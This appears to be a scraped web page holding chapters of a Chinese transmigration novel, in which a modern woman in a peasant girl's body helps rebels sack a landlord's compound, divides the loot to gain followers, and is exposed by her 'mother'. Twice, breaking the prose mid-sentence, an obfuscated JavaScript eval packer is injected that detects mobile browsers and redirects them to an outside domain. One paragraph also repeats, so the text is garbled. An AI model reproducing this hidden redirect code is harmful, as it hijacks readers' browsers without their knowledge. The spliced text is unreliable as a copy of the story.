明明早动过刀子了，怎么算都是见过血的，手里甚至还攥着把新借来的刀和它的鞘，可此刻，事到临头，嘴唇仿佛冻住，舌头僵硬无比。 远处，夕阳的残血映照着一片低矮围墙，墙上有瓦，墙脚无草，分明是镇上富户宅邸。清风镇不大，这具新躯目力极佳，隔着半里，已将那墙下景象看得分明—— 仿佛是丧尸围城。这些未经丝毫训练的义军，拄着拿着各自不配称作武器的武器，泥潮一般涌向围墙，嘶吼着、推搡着，疯狂拍打着那紧闭的大门。污秽的人潮翻涌，喧嚣声浪直冲云霄。 “莫老狗的庄子！”孙顺不知何时挤到了她身边，满脸兴奋，“直娘贼！报应！报应到了！” 楚琛问：“他作恶？” 孙顺一口痰狠狠啐在地上：“作恶？他当里正这几年，清风镇都快改姓莫了！他配称清白？” “闪开！都闪开！”墙外的义军堆陡然裂开豁口，一股黑烟蛇行般窜上青空—— “……有冤有仇，今日报了！”有声音在人群里歇斯底里地嚎，“地母睁眼！血债血偿！今儿个要见血！活剐了莫剥皮！剥皮做灯！骨头熬油！” “杀莫剥皮——！” “杀——！杀——！杀——！” 喧嚣如沸，疯狂的声浪融成一片，楚琛忽而发现，自己正在往前。 她脚下不曾迈步，也完全不认得那莫姓里正。是身后的人潮！是她赖以立足、此刻却化身洪流的凭恃，在裹挟着她，推搡着她，将她推向那血腥的漩涡中心！ 但她不能后退。 她无路可退。 不再是能依靠言语的时候了。也许真有能稳住局面的词句，但脑子一片混沌，像被灌满了滚烫的铁水—— 锵！ 刀拔在手，不知何故，不知何时。继而稀稀落落的一阵金属摩擦声，从娄旦那里借来的家奴护卫，也纷纷亮出雪亮兵刃。 砰！砰！砰！ 木棍、长竿、锄头、草叉、粪叉，还有不认识的农具，后世文言背诵里的所谓锄櫌棘矜，勾着顶着燃烧的枯枝草把，狠狠砸向那扇被火焰缠绕的厚重木门。烈焰冲天而起，浓烟翻滚，直到砰啪一声闷响—— “——杀进去！” “杀莫剥皮——！” 有义军冲进去了，楚琛被身后的人流猛地一推，几乎是踉跄着被卷了进去。脚还没踏进院门，先听得刺耳喊叫，继而是更多骂声和惨嚎—— 汗臭酸臭混杂的人流之前蓦然多出几分阻力，先杀入庄内的人似乎想退，挤在后的人却更加疯狂地向前。两股力量在狭窄的豁口处猛烈对冲、绞缠，无数双脚踩踏、无数身体挤压，又有无数尖利大叫： “后门！后门堵住——！” “莫老狗钻地了！” “放箭！快放箭啊！” ——箭！ 楚琛浑身一凛。此刻此时，再想回头寻些防具已然不可能。路已被让出，她就在中央，是首当其冲的靶标—— “——啊啊啊！”身边不知谁杀猪般惨嚎，“俺中箭了！俺中箭了！” “中你个尻！”楚琛破口大骂，终于也看清了庄内防御：主力是家奴，掺杂着些疑似雇工的庄户，大多端着简陋的猎弓，握着铁耙、草叉之类的长柄农具；还有零星三五个，持着刀剑和长杆的—— 一股恶寒自天灵盖直冲而下，电光石火间楚琛猛地侧身—— 不是箭矢。只是视线。只是人。一群衣着破旧的古人举着长木杆戳来，杆尾的脸惊惶失措，却还要置她于死地。这不太合理。一个偏僻乡绅的庄子，既没道理也不可能养得起多少忠心武者，除非，除非…… 啪！ 刀杆相磕，刀险些飞出手去，充分印证单刀进槍是何等凶险的传说，也击飞了最后一丝来自文明社会的犹豫。好在戳来的只是根寻常木杆，使杆的也不过是些寻常乡民，见一戳不中，顿时手忙脚乱。楚琛本能地双手持刀再格，脚下发力一个猛冲斜进，刀起—— 嗤！ 血喷出来。一个倒了，不知生死，连带着拖倒另一个，连带着涌来更多个。 若说单刀进槍是传说，那么单刀进槍林则是送死。哪怕这里只是些杆子，退意仍旧悄然升起。四面八方乱七八糟的有杆戳来有人扑来，正如一张布满利齿的巨口在合拢，所幸齿间尚有空隙—— “箭！”前方有人声嘶力竭地吼，“箭呢！” “杀进去！分粮！杀啊——！”这来自自己这头。到底谁在喊，楚琛根本无法分清。但它们帮了她。防线被撕扯得更加摇摇欲坠，她猛地撞进一个更大的缺口，她对面持着草叉的乡民一屁股跌坐在地，眼泪鼻涕一齐涌出： “别杀俺！别杀俺！” ——原来如此。 脑中仿佛有惊雷炸响，楚琛如梦初醒，这些看似凶狠的抵抗者，骨子里和她身后的人一样，都是被这世道逼到绝路的可怜虫！恐惧才是他们共同的底色！ 来不及多想，楚琛一边奋力格挡着侧面刺来的木杆，一边用上全身力气，放声大喝： “交粮不杀！快，都跟我喊！交粮不杀！……咳呃，只诛首恶！跪地免死！” 首恶乃是何人，作过何等恶事， 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——她只是来抢劫的么？她只是来杀人的么？ 不。 要想在这吃人的乱世活得安稳，不沦为那凌弱暴寡中的弱者和寡孤，自己就必须成为那“众”！ 必须聚拢人心，必须让这些如狼似虎的凶徒愿意听令！那么，眼前这唾手可得的庄子，就该是个起点——是树立威望、分配利益的第一块基石！ “跪地免死！放下武器者不杀！”楚琛厉声高呼，目光如电般扫过混乱的人群。恰在此时，一个油光锃亮的秃瓢壮汉蛮牛般自身侧冲过，她眼疾手快，一把攥住： “你，随我纠察！” 那人猛扭过头，一条发辫甩脸，两道粗眉倒竖，范阿四瞪眼道：“纠你祖——” “我等先破此处，合该先选！”楚琛断然大喝，“是也不是？！” 范阿四一呆，凶悍气势为之一滞，楚琛再喝道：“此番起事，不祸无辜，是也不是？！” 范阿四又是一懵，两眼猛眨，一副思绪混乱的模样。不管他回没回过味，楚琛猛地抽回手，刀锋一转，目光已锁定身后借来的娄府护卫。 十五人！人数不多，但各个持着兵器。眼见缺口已开，义军像蝗虫般扑向财货和仇杀时，这些人竟还下意识地簇拥在她周围，没有立刻散开。 他们，再加上能被收拢的，足够下一步！ 楚琛长吸一口气，强压下胸腔里擂鼓般的心跳，抬手狠狠抹去溅在脸上的血，努力拧出一个胜券在握的笑： “你们八个，并那边二十个，把守庄院，莫让一人逃脱。”她迅速点出几个看起来机灵点的娄府护卫和饥民头目，“把守庄院，莫让一人逃脱，也莫让外面没出力的冲进来！” “其余人随我来！这里正作恶多端，天怒人怨，今日正是报应不爽！这院中财货，大头自是该义军的，人也是娄五郎的，但是——” “但弟兄们随我舍命拼杀，第一个撞开这阎王门！难道还要眼睁睁看着别人抢了头汤，自己空着手、舔着刀口子上的血沫子回去？！天底下没有这样的道理！” 她死死盯着这群家奴与饥民，看着他们的眼睛，看着那一道道目光从茫然，亢奋，暗自交换眼神，继而，一个个或恍然大悟，或喜动眉梢！ 如同被无形的线牵引，一个、两个、三个……越来越多的人，对着她拱起了手—— “听楚郎君号令！” “小郎君仗义！” “楚郎是条好汉！” 嘈杂而热切的附和声此起彼伏。 第一步，借饥民之势压服娄旦，成功。 第二步，开出空头支票，从娄旦处借来这队精悍人手，成功。 第三步，在明面的大义之下，组成以一个瓜分眼前利益为目的、以自己为核心的初级利益团体，成功！ 楚琛看着那套手势——翘着两根大拇指，对握推出。既然以后就在这活，她暗暗记在心底。 下一个目标无比清晰：分赃！并且，要快！ 要赶在其他红了眼的义军势力扑过来之前，把最肥美的一块肉，牢牢咬在自己嘴里！ 11. 分赃 出乎楚琛意料，直至混乱暂歇，那方也未曾现身。 楚琛立于莫家后院石阶之上，冷眼审视这趟赌命所得：敌我死尸堆叠在一角，生擒的俘虏瑟缩在另一角，钱帛布匹并几摞文书堆积在中央。 最大的收获，却是那群向娄旦借来的护卫——这伙人一改充作背景板时的敷衍拘谨，颇为主动地拱卫在周遭。 文书上有血。因为它被收在匣子里，被铜钱并细碎的粗糙金银块埋着。几个先翻出匣子的饥民为争夺贵金属起了冲突，字纸无人问津。最终，连钱带纸都便宜了及时高喊一并分配的她。 还有铜钱。成箱成摞的铜钱。铸着繁体字，连她这等初来乍到的穿越者，也看得出成色极好。哪怕先前在院里随手一撒，都足以给攻入者制造极大麻烦…… 但它们的主人此刻仆卧血泊，而它们被后来者起出地下。 “按约好的说法，活口和大件是要上缴。”楚琛沉声吩咐，“来六个，先把人押给娄郎君。” 走到金银小匣前，楚琛随手拿起张溅血文书。倒能看出是张地契，迤逦的繁体字，细腻的白宣纸，钤着一方艳如新血的朱砂印。可惜，就算把这张并那叠所指之地都划进手，也抵不得后世通水有电、网络通达的半分舒适。 横竖此物自己既无兴趣，也一时难以消化—— 少年指尖一松，文书轻飘飘落回匣中。院中狼藉的斩获、染血的石阶与四散的人影，愈发衬出那立于中央的孤峭身形。那神情从容得近乎淡漠，却让在场众人下意识敛了嬉笑，不敢高声。 楚琛平静续道： “破院开路的，排前；动刀子见血的，居中；抬箱出力的，列后。” 人群顿时一阵窸窣推搡，依着指令调换位置。有人昂首挺胸挤到前列，有人咂咂嘴，认命地退到队尾。范阿四持刀在侧，刀刃一横，便将几个想浑水摸鱼插队的逼得老老实实缩回原位。 阳光底下，匣子旁边，成匹的布帛堆在院中空地，旁边一溜摆开锅盆、钗环、箱筐里散落的各式杂物，一片明亮。 “分物件——一人一件，拿定离手，过手无悔！” “小郎君公道！”立时有娄家护卫奉承道，“我等信得过郎君。” 近处有人眉开眼笑地执行，远处有人波澜不惊地观望。大敞的后院门口，一名略有些眼生的青年驻足。楚琛尚未开口，身侧的范阿四已抢先一步迈出： “#@%#￥#&*#” “@￥&%”那人应了声，略一颔首，直接走了。楚琛心生疑窦：“你说了什么？” “我问他看什么看，没见血的也想来分钱。”范阿四道，“他说不是。就走了。” “这大个子说得在理！”当即有抓着粗布的汉子高声附和，“楚郎君放心，我等站你！” 就不该多此一问。楚琛无语侧首，下令道：“最后出去的，把门带上。再来四个人，先领各自的份，领完把剩下的米面都搬出来。” 一波分配在前，这次行动的手脚麻利许多。待莫家积存的米面、锅瓢碗盏，连同新发现的几袋草药悉数摆在地上，押送俘虏的人也回来了，身后还跟着一个低眉顺眼的矮个女孩。 领头的朝楚琛叉手一礼，将女孩推搡上前： “五郎见了人欢喜，赞小郎君守信，他也守信。小郎君，这是阿牙。这是阿牙身契。” ……坏了。拉近距离随口一扯，这地方的居然当真送人啊？！ 楚琛飞快扫了那矮个女孩一眼，后知后觉地一阵后悔。可人已送至眼前，总不好再退回去。只得绷紧下颌朝旁一指。那领头者又拿出根带柄皮鞭： “五郎还说，想来小郎君眼下怕还不便招纳佃户，但他诚心想与小郎君结个善缘。仓促之间，身边无甚贵重之物，这马鞭权作一点心意，愿小郎君此去顺遂平安。” ——那怎么不直接送我匹马？ 是怕我领人追上来，还是觉着现在的我还不值重注？ 楚琛暗自腹诽，面上含笑接过。 礼物不算长，鞭身应当是牛皮，工艺不像后世那些编出花来的旅游纪念品，只是朴素的三股绞编，吞口和柄末处倒是都有雕花的铜。楚琛还未细看，钱二柱不知从何处钻出，喜道：“好鞭子！郎君若不中意，小的倒极是喜欢……” 楚琛作势要抽，他躲开了。 此时，院门紧闭，这座规模不亚于前院的庭院中，算上她自己与新来的阿牙，共计三十九人，比她预想的少了十余个。 那消失的十几人，有半途溜走的，有混战时自行跑路的，有俩因为看上同一匹光亮如镜面似的绸缎互相攮了的……不过人数少些，正合她意。 楚琛瞥眼盛文书的小匣，抽出地契借条，取出匣中仅有的几颗金豆，往显眼处放了。匣内便只剩铜钱与一堆约两指宽的粗糙银块。 她双手交叉，缓缓推至胸前，向院内三十七人正色道： “此番冒险，多赖诸位弟兄同心协力，方能搜得这些米粮，令更多人得以饱腹！” 楚琛目光扫过众人，声调陡然一扬： “来！照方才规矩——破院开路的当先，动刀子的随后，抬箱子的押后！队序不变，照位来领！每人三块，权当吃碗好酒、添件好衣！” 一时无人动作。 众人面面相觑。他们心知楚琛闭门，定是主持分赃，也确对那箱从地底掘出的铜钱垂涎三尺。至于那贵重的小匣，虽人人眼热，但各自来路不同。瞥见一旁几具横陈尸首，又想起先前“上缴”之言，倒也强自按捺住了贪念—— ——万没料到，这身姿挺拔的少年郎竟如此豪气，二话不说便要分匣中之物！ “这……”终于有人按捺不住，迟疑开口：“小郎君，当真要分？” “分便分了，有何不可？”楚琛微笑反问，自行俯身捡了四块碎银纳入怀中。“怎的，怕拿少了吃亏？谁给他寻杆秤来？” “小郎君说岔了。”又有人冷笑一声。是孙顺。他自人群中走出，行至最前，嗤笑道：“莫家那把收租的鬼秤，一担谷子上去就要折半！谁敢拿银子往上称，怕不是还要倒贴一笔！”， 此言一出，众人哄堂大笑。孙顺又道：“我搬过米，扛过尸，挖了地，大伙儿都是见证。郎君，赏小的三块。” 有人带头，娄家护卫与饥民便纷纷凑上前来。一个心急的手伸得太长，立即被护卫啪地拿刀鞘敲了手，疼得他嘶出一声，捂手缩颈退回，众人哄笑一片。 “该谁便是谁。” 楚琛目光掠过那人，语气平淡，却不容置疑：“轮不到的莫急，论功行赏，短不了你那份。” 碎银一块块落入掌中，叮当轻响与人声交织。三列队伍顺顺当当前移。有人甫一接到银子便急急塞入怀中；有人不住掂着分量，又拿牙咬，喜得咧嘴傻笑。 待这轮分完，匣中碎银已所剩无几。楚琛眼风扫向铜钱箱，轻咳一声： “每人再取三把铜钱。对外，只说我分的是铜钱与布。” 有几个人缀在队尾，眼看着周遭喜眉笑眼，心头正有些不是滋味，闻听此言，顿时猛地抬头，眼底放光。 “郎君说的是！”有脑子快的立刻高声应和，“小的进来时，确只见满箱铜钱！” “郎君可得把铜钱填回箱里啊！” “俺们郎君还用你来教？！” “是也是也，”另一人嬉笑道，“这一箱箱、一吊吊的，谁见了能挪得动步？” “最好能动。”楚琛淡笑，“咱们取完，还要请曾郎君的人来，尚有别家的‘公道’要讨……诸位，可愿再助我一臂之力？” 院内三十七人，半属娄家护卫，半是饥民。动身前，众人原只想充个场面，趁乱摸些好处便罢。此刻，听着楚琛弦外之音，兜里碎银沉甸，肩上布帛垂落，眼前铜钱晃眼，登时轰然应诺，连站姿都挺了几分。 人群中，有人接了铜钱便慌忙用衣襟兜住，缩肩护得死紧；有人接到第二把时，嫌掌中盛不下，干脆往怀里哗啦一倒。叮叮当当的铜钱脆响，混着笑声、起哄声，队列虽略显杂乱，竟无半分争执。 气氛正浓时，后院门处，却陡然一声巨响！ 这扇木门，逃过前院劫数，已被结实闩住。这一声巨响过后，又是几声沉闷撞击，显是有人在外拼命踹门。不需楚琛开口，几名娄家护卫早已拔刀在手： “咱小郎君办事呢，谁啊！？” “直娘贼！”范阿四怒骂一声，“准是那拜土的去告——” “告什么？”楚琛悍然打断，“破院的是我等，哪路英雄当面，这头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203634|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茬也该我等先尝！” 此刻院内活人，除瑟缩一旁的少女阿牙，尽数得了好处。此言一出，附和声如潮涌起。那撞门之势似被这汹汹气势所慑，竟一时停歇。 楚琛亦抬手。 众声骤寂，落针可闻。 “各自收好！”楚琛压低声音吩咐，迅速将文书金珠塞回匣中，又抄起大把铜钱狠狠填入缝隙。一切妥当，从容示意开门： “何事？” 门外，一个面带血痕的陌生瘦子，领着三名手持木棒、锄头的饥民。 瘦子目光一扫院内景象，顿时冷笑出声： “好啊，轰走我的人，却在这聚众贪赃——” “——我道是谁。原是方才火烧屁股、撒腿逃命的孬种？又回来叫唤了。”楚琛懒得周旋，扬声便道：“咱们继续分。这回排队啊。” “你！你放肆！——这是要上缴曾郎君的！” “自然要充公。”楚琛故作讶异，“但我等先破此院——” “是我先破的！火是我放的！” “你点完火就跑了。你，和你的人。”楚琛理直气壮，随手摘下腰边刀子：“你瞧，我才殺的人……哎哟，血擦干净了，不过刃上是还有点，你要验吗。” 她提着刀，径直向前迈步，一副要炫耀战功的模样。腿才一抬，身后娄家护卫唰地一片抽刀！ 刺耳的金铁摩擦声中，瘦子脸色剧变—— “有种你别逃！”他高声嚷嚷，“我必报与曾大郎知晓！” “不送。”楚琛站定，随意一摆手。那瘦子果然转身就逃。院内登时哄笑四起。笑声渐歇，楚琛指向瘦子消失的方向，故作无奈道： “诸位兄弟可要为我作证，破这莫家庄院，究竟谁为首功？” “自是郎君首功！”有人语带讥讽，“那腌臜货，怕是钻在粪坑里数他那几个铜板！” “何须躲藏？往麦垛里一扎，活脱脱就是根烂透的瘪秸秆！” “正是！地契、借条、铜钱、金豆子俱在，谁敢往郎君身上泼脏？” “哪个敢污蔑楚郎君？！我当先不允！” “小郎君……”孙顺声音忽然响起，他目光投向院角那几具连外袍都被剥光的尸体，表情竟依稀露出几分解脱意味：“……倒也不必再去别家了。整个清风镇，就只富了莫家这一窝。” 他的话里透着股源自熟悉的笃定。楚琛不禁问：“你是本地人？” “是。”孙顺应道，“我家的地，被他们夺了，我爹娘想讨个公道……没讨到，都死了。” “况且，小郎君，您瞧，整个镇上，就属莫家的院墙最高。这时候了……” 的确。这时候了，该被抢掠的早已洗劫一空，暂时幸免的，想来也榨不出几两油水。 但这根本不是抢劫的问题。 “你觉得，我是什么人？”楚琛问。 孙顺一怔，心中暗忖：那还能是什么人？大伙都河滩边上成的伙，难不成此番披了件义作皮，还真当自己成了义军？可念头未落，却见楚琛猛地振臂一挥： “诸位弟兄！”少年声如金石，“莫家多行不义，方有今日之报！如今首恶虽诛，然外间尚有许多不知情的弟兄。若因此惊扰了无辜良善，岂不是坏了咱们聚义的名声！” 孙顺目瞪口呆。而其余护卫与饥民，本就瞧楚琛大为顺眼，此刻听她三言两语，竟将这黑吃黑的勾当粉饰得如此大义凛然，一时间胸中豪气顿生，腰杆挺得更直，纷纷轰然应和： “那不行！” “咱是替天行道的好汉！” “郎君在理！” 更有性急的高声大叫：“听小郎君安排！” 迎着众人灼灼目光，楚琛令阿牙留守，又从饥民与娄家护卫中各点出一半人手，命余者清点财物，旋即率众再度向前。 至此，哪怕曾放或娄旦骤然翻脸，欲杀她与李氏，也须得寻个天衣无缝的由头了。 待她带着搜刮的财货与这群暂时收服的“义军”回去，希望那位便宜老娘，不要过于惊讶。 * 尝考人君御世之术，其要有二：曰立威以固本，布诚以成末……上之用人，御以威，结以诚，功必赏，罪必刑，由是势成。 ——《君势本末札》 12. 暴露 李春花呆呆地坐在破旧的茶棚里，直至晚风卷来一股杂着土腥味的沙尘。 尘沙味呛，她咳出一口，这才恍然发现，残阳最后一缕金线已被山棱绞断，四野间唯余夜色茫茫。 她乃拜地母教今日的舍身圣女，因此无人敢近；而今日圣筊答复为否，于是之后也无人扰她。 按规矩，筊示为否，她便可以走了，甚至可要求教中护送。可她的女儿……还没回来！ ——是了，女儿！她的女儿去了哪里？怎么既不听她的话，也不回她的身边？！ 念头如冰水浇顶，李春花悚然一惊，猛地站起。四周蛰伏的目光立刻扫来，大多空洞，少数锐利。 诸多锐利中，一个身穿布袍、头顶扎巾的青年抬头最慢——正是拜地母教的护法处暑。年轻护法将咬了一半的榆皮饼塞回袖中望过来，神情平静，略带好奇。 “护法郎君。”李春花喊，临到嘴边，却又嗫嚅：“我……有一事不明……” 处暑走近：“圣女请讲。” “我、我挂念我儿……” “令郎，”处暑轻叹，“非寻常之辈。” 李春花张口欲言，又惨然闭紧。她哪里有儿子，她只有、也唯有那一个女儿！出世时是狮子披红，养了半载便会喊娘喊爹，一岁多便跑跳利索，五岁起就追在她身后要帮手……是她亲眼看着、亲手养大的骨肉！是她教她持刀放血，教她识字算数。 今日暮间来的那个，究竟是不是自家女儿，她岂能不知？ 可那身形样貌，那衣着发髻，分明一模一样！ “我传信路过莫家庄院，”处暑的声音将她拉回。“见楚小郎君立于场中，面前是几排俘虏、一堆尸首、一摞财物，身后更有十数好汉拱卫。隐约听得小郎君道……” 他清了清嗓子，模仿着那腔调：“‘破院开路的，排前；动刀子见血的，居中；抬箱出力的，列后。’” “她从前……”李春花喃喃道，“一天蹦不出两句话。” 处暑见她神色迷惘，只道做母亲的乍逢变乱，于是心生不安，便宽慰道：“非常之时，总有非常行事……” “这，可这，非常太过……” “少年意气，也不算过……”处暑说着，忽一沉吟，问道：“敢问圣女，小郎君年岁几何？” “将满十三。” 处暑双掌轻轻一拍，说道：“正是开脉的好时候，小郎君若能历练出来，当是前途无量。” “开脉之后……性情会变？” 处暑理所当然：“十三四的岁数，怎会不变？” 他是得了名号的护法，说的也正是世间常理：孩童养过十岁，心性总要生变。素日内敛的或变乖张，素日顽劣的或变沉稳，素日爱说爱笑的也能突然变作锯嘴葫芦，一成不变的反倒少见。 可也不曾听闻，这一变竟会变了口音习惯，变了步伐姿态，更平白多出从未有过的能耐！自己亲眼看着、亲手养大的女儿，竟像是完全成了另一个人—— ——是了！那人，那不知是什么的东西，甚至亲口承认过！ “护法郎君！”李春花头脑发昏，强自定神道：“我要见她！烦劳指路……” 处暑摇头道：“我也不知，圣女往人多处……哎，他自己来了。” 果然有人来了。 穿的是那件她在听闻大朔兵败、挑灯熬油改的褐衣，溅着血，沾着土，走路的姿态却活脱脱是那些有马鞭佩、有腰刀按的贵人——这不是她教的。她教不来。 这人身边也像那些贵人似的，簇拥着女侍、护卫，虽说个个灰头土面，并不齐整，可人人都喜笑盈腮，甘愿为这人拿着，提着，扛着。 ……又是自家女儿绝没有的本事。 几步之间，这熟悉至极的陌生人更近了。李春花看得真切：腰间束的，还是她缝的旧腰带，却多了新刀，悬着马鞭；袖口仍是她打过的补丁，手腕至指间却缠着不知哪来的细布条。脸颊染着细微血渍，像是刚与人近身搏杀。 那张熟悉的嘴张开—— “娘。” 那人喊了声，声音沙哑，似是而非。眼睛还是她女儿的眼睛，投来的眼神却是平视，是审视，仿佛天上鹰隼。“这位是？” “地母护法，处暑。” 青年主动叉手一礼，自报家门。楚琛亦叉手，语气平淡无波：“显州楚成。敢问护法，何处可歇？” 处暑讶然道：“遍地空屋，小郎君随意便是。” “可有热水？” “随我来。” 楚琛自然地拽上李春花。 茶棚周遭，除了娄旦那些个瑟缩的“货物”，便是散坐的拜地母教教众。无数道目光粘附上来，随着她们移动而转动，好在只是盯着，如同饱食后懒散的兽群，并未暴起扑食。 楚琛悬着的心略松半分。待被引至一处小院，进了屋，处暑离去，几个手下卸下东西、自行占据外围警戒，她绷着的背也终于放松。 在河滩边提刀而起时，在斩向马腿关节时，可没想到能活到此刻。 尽管按后世的眼光，不过得了一堆破烂；尽管镇上最富庶的莫家庄院此刻被曾放占据；尽管这临时上司兼某些临时同事的嘴脸很不顺眼…… 可过关了！结算了！到清点收获的时候了！ “娘。”楚琛先喊了声，“你晚上可看得清？” 李氏脸上神色变幻不定。楚琛再唤一句，李氏才猛地一哆嗦，眼神恍惚地聚焦过来：“你……问这做甚？” “清点。”楚琛下颌微抬，指向地上，“看。布，钱，米粮。” 似乎被这些实在名词刺中心神，李氏又用力眨了眨眼，视线落向地面，愕然： “这……哪来的？” “小半是曾郎君赏的。”楚琛淡淡道，“大半是我挣的。” 义军的军纪……不怎么样。 本就是一群饿红了眼的流民啸聚成军，仗着人多势强强占村镇，哪有条件、又哪有可能点出什么纪律？因此，当她打着“整肃”的旗号踏出莫家庄，那是真的很占便宜。 毕竟还没成彻底的乱民，人心尚未彻底沦丧，脸皮终归还要几分。尤其当执鞭者身后刀光森然出鞘，那些正欲作恶的手便僵在半空，如被钉住七寸的蛇。 即便后来，似乎回过味来的曾放空降般钻入莫家庄，选亲兵、设统领，新封的五个统领里两个告她劫掠、又有个瘦子亲信告她贪赃，又能如何？ 她自有上缴，有分润，身边立着十数名按刀持剑的汉子，院中财货也还明晃晃堆着。 曾放再不满，最终也只能和个稀泥，甩句下不为例。还得谢她——谢她先登破庄，谢她“维持”了纪律，并以此为由，分她钱粮。 有上缴，又给同伙分润，身边站着十好几号佩刀拿剑的，院里财货都还朝天放着。曾放对她再不满，最终也只能和个稀泥，来句下不为例。还要谢谢她，谢她先登，谢她维持纪律，并以此分她钱粮。 楚琛目光扫过地上布帛，其中夹杂着几件明显是年轻女子式样的衣裳，大约是莫家庄女眷之物。 心头那根弦却无声收紧。曾放犒赏手下，除了钱粮杂物，还有活生生的货物。 一旦无势力傍身，或所属势力一朝倾颓，在此地身为女子，与待宰羔羊、待分的财货何异？ 不过这类冰冷现实，倒不必再灌进李春花耳中了。 “娘，今夜恐怕不太平。”楚琛道，“你还没答我，看不看得清？” 李春花没有回答，只是直勾勾盯着地上那堆财货，脸上既无喜色，也不像嫌弃，一副神思不属的模样。楚琛索性更直白道： “娘，我有点疑心，娄旦——就是今天送我使女的那个，你可能没留意……” “我知道娄家五郎。”李氏忽地打断她，“他怎么。” “好吧。我疑心娄五郎要火并曾放——就是借我那些人来找你的那个头领，你可能没见……” “我见过。”李春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203635|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花再次打断，眼神终于彻底聚焦，“好端端的，为何火并？” “直觉。” 李氏疑惑地看过来，楚琛更疑惑地看回去，一看便看到李氏头顶的傲人发量——这不是后世的老娘，才不会配合捧场。楚琛尴尬一咳，解释道： “你走之后，我从曾放那借了人，过来找你。我猜，曾放本就存心要闹事，没我他也会找别人，我算赶巧……不过这些都不要紧。” “他已经造反了。” “既然走到这一步，至少得闹到能受招安的地步。但在此之前，这么多人张嘴要粮、伸手要钱，天上掉不下来，地上也变不出来，怎么办？只能刮地皮，刮百姓，刮大户。这边的百姓我看是刮不出油水了。娄旦，倒是个现成的大户。” 而娄旦自家很知道自家有多肥。从他那借的护卫，个个都佩着刀。 “眼下，曾放占了清风镇，娄旦会怕。反过来，镇上不止有义军一家，曾放同样会怕——” 楚琛陡然一顿，电光石火间，某个大胆的念头划过脑子——“我倒也可以让他们怕。” 她喃喃自语，继而左右扫视一眼，压低声音急问道： “娘，你，呃，你是哪边的？” “什么哪边？” “看谁顺眼？”楚琛追问，“还是都看不顺眼？” 李氏似乎是听懂了，眼中多出股难言神色：“……靠你？” “别小瞧我。”楚琛自得一笑，“我手下已有四个。再吆喝一声，少说也能拉来十七八个临时的。” “四个？……哪来的？” “说来话长。大概是娄旦送我一个，路上碰见两个，曾放那骗来一个。” “我听护法说，你调过些人……” “娄旦是借过我些人手。但要办这事，只能用近处的。” “娄郎君，”李春花紧盯着她，“为何肯借人给你？” “呃……大概因为曾放先借了人给我……” “可曾郎……” “娘，你完全没听吗？” “你说得绕来绕去。” 好吧。楚琛深吸一口气：“那我从头说。曾放要起事，这是前提，是吧。” “你说过了。” “但他怕那个什么护法，还有护法背后的教派，就是人市里的……” “拜地母教。” “对。我猜，这个曾放，和拜地母教有些暗地里的勾当，进了些……原料之类，也不好说是什么，总之不好撕破脸。这时撞见我，”楚琛指了指自己，“横空出世，杀了匹马，他大概觉着碰上同行……” “你何时又杀的马？” “河滩那，小事，后续说。”楚琛随意一摆手，“反正，他来搭话，排除我不是同行。又知道我娘——你——困在人市。” “他肯定知道人市背后是拜地母教，认为是个大好机会，于是大方借人给我。” “这便是我去人市前的事。然后，人市里你见着我，娄旦则见我带了这么些人，可能以为我在义军里有点分量。”楚琛语速飞快，“等我回去，曾放见我有刀有人，自然既不好翻脸，又不好不讲道理，唯有假装好人。” “至于别的，一见曾放都不管，我还分钱，那就认我了。” “说穿了，不过借力打力、左脚踩右脚上天的把戏。” 长长一段解释完，李氏静静凝视她，眼神深得像口枯井：“孩子，你心思好细。” ——这反应不对。 某些大胆的计划悄然后退，某种不祥的预感陡然腾起。楚琛心中一沉，干笑着找补道：“我烧退后，是觉着，头脑清晰——” “那你想不想得起，为娘的名字。”李氏问，“你自己，生于何年何月何日？平日最爱吃些什么，恶些什么？家门口几棵树，水井台子几级阶？” 妇人猛地抢前一步，抓住她的前襟，双目圆睁，血丝满布： “你到底是谁！？我的女儿，她又去了何处？！” 13. 决裂 ——不是吧。玩我呢。 楚琛猝不及防，未及开口，便被这一下拖动。劳动人民手劲奇大，李氏情绪又极激动，一手抓她前襟不算，另一只手竟也来攀抓衣领。 再往上便是咽喉。楚琛本能地攥住李氏手腕，李氏如梦初醒，遽然松开，通红的两眼却仍是一眨不眨：“你是何人？！嗯？你是哪来的妖魔鬼魅，夺舍了我的琛儿！？” 妇人两眼紧紧锁着她，既疑且怒，甚至泛着杀意。楚琛退开半步，惊愕之余，唯余苦笑。 想别家穿越古代，系统空间、角色加点之类的金手指自不必说，身份随便都能骰出个皇家或世家，再不济来个小地主保底。即便撞见外星人，也多半是胸大腰细屁股翘款…… 怎么到自己，才拉拢一些个打手、嗅到一丝套利机会，正是踌躇满志之时，这白捡的老娘，非但没按套路成为身份说明书，竟还觉察出不对来。 装，还是不装？ 看李氏好像跟隔壁信教的熟稔，似乎适用于小说里轮回转世、前世觉醒之类的排列组合，不然现编个神人临世…… “我也姓楚，名琛。”楚琛听见自己的声音响起，清晰而冷静，“但我不是你女儿。” 话既出口，楚琛索性直视李氏。一位能为女儿活命自卖为菜人的母亲，若是认不出自家骨肉，乃至被几句高热失忆之类的敷衍了事了，那才真叫荒唐。 “我来自另一个世界。我父做跨境货贸，我母是军医。我在私募——呃，一门运作资金、抽成谋生的手艺。总之我干得还行。” 